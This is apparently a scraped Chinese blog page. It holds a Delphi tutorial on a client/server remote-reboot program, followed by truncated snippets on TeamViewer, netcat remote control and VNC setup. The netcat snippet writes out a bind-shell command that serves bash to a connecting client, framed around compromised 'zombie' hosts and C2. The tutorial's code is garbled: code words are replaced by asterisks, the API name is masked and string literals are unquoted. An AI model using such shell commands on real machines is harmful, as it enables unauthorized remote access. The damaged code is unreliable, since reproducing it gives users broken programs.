遠端控制程式設計揭密

2021-12-29 21:35:31 字數 1382 閱讀 5487

將遠端控制應用於教學中,已成為目前計算機化教學的重要手段。一定有很多的網蟲想了解這種網路教學方式的程式設計原理吧。在此我們就以乙個簡單的遠端控制程式作為示例,說明這種網路程式設計的基本原理。本程式以delphi程式設計為例。

其實該程式的工作機制很簡單,受控方執行乙個程式,用於偵聽埠並接收資料報,而主控方通過埠給受控方的埠傳送資料報。根據這個原理,我們編寫兩個程式,乙個是控制方的,而另乙個是受控方的,把這兩個程式執行在兩台不同的機器上,受控機等待控制機傳送過來的資料然後執行相應的操作(如本例中的重啟)。

delphi中有兩類控制項可以實現上面的目的。一類是控制方使用clientsocket,受控方使用serversocket(均在internet頁),另一類是雙方都使用nmudp(在fastnet頁)。我們知道網路傳輸都是不可靠的,也就是說傳輸的資料有可能丟失,而這兩類控制項的區別是前者使用tcp(transfer control protocol,傳輸控制協議)。tcp協議是面向連線,每次雙方建立連線(或斷開)時需經過三次握手,較為耗時,但資料傳輸可靠;而後者使用udp(user datagram protocol,使用者報文協議),它是面向無連線的,發出資料不需對方確認,這樣速度比tcp快,但資料有可能丟失,因此它不可靠。由於控制所需傳送的資料量不大,而且需要較高的可靠性,因此一般使用前者,程式說明如下:

第一步,開始控制方程式,在其中加入clientsocket控制項,取名control,設定host屬性為受控機ip位址,port屬性為1234(埠可以隨便設定,但不要與一些預設埠重複,如80等)。

第二步,在formcreate事件中加入**control.open; //開啟與受控機的通訊

第三步,加入個button,設定caption為「重新啟動」,並在buttonclick事件中加入**control.socket.sendtext(reboot);//通知受控機重新啟動。這樣就完成了控制方的工作了。

第四步,開始受控方的程式,在其中加入serversocket控制項,取名undercontrol,設定port屬性為1234(與控制方的埠一致),active屬性為true;

第五步,在undercontrol的onclientread事件中加入**if socket.receivetext=reboot then

exitwindow***(ewx_reboot,2); //重啟的api函式

這樣就完成了**的工作,然後編譯這兩個程式生成兩個.exe檔案分別放在兩台機器上執行(記得先執行win98下的受控機程式),在控制機按下「重新啟動」的button(按鈕),受控機就重新啟動了。遠端控制機器重啟成功實現。

由於篇幅的限制,以上忽略了很多細節的東西(如出錯處理),而且只能完成遠端控制的一種功能,有興趣者可在此基礎上完善,可實現網路軟體管理中的其它功能,如滑鼠、鍵盤鎖定、關機、抓取螢幕、檔案操作、**傳輸等,在此就不多介紹了,有興趣者可以上網多檢視些這方面的資料。

TeamViewer 遠端控制

因為公司的電腦有加密系統,因此不好傳檔案,而且傳檔案也是亂碼的,因此想要在家裡也能工作,只能遠端登入公司的電腦進行工作了!因此下了個teamviewer。teamviewer是乙個遠端控制軟體,它最大的優點就是不需要控制和接受控制的任何一方擁有外網ip。而且還能進行傳檔案,還有會議室等強大的功能!3...

nc 遠端控制

nc 做遠端控制 原理實際上和之前的傳文字一樣,伺服器端起監聽,客戶端端去鏈結,之後監聽的伺服器端傳乙個自己的shell過去到客戶端 正向 偵聽方為肉雞,c2 訪問肉雞 server nc lp 333 c bash client nc nv 1.1.1.1 333 或者反向 偵聽方為c2,肉雞訪問...

vnc遠端控制

root localhost yum y install tigervnc server設定配置檔案新增乙個可以使用的使用者,也可以新增多個。比如vncservers 1 root 這是新增乙個,vncservers 1 root 2 tom 這就是新增了root使用者和tom使用者我們這裡新增乙個...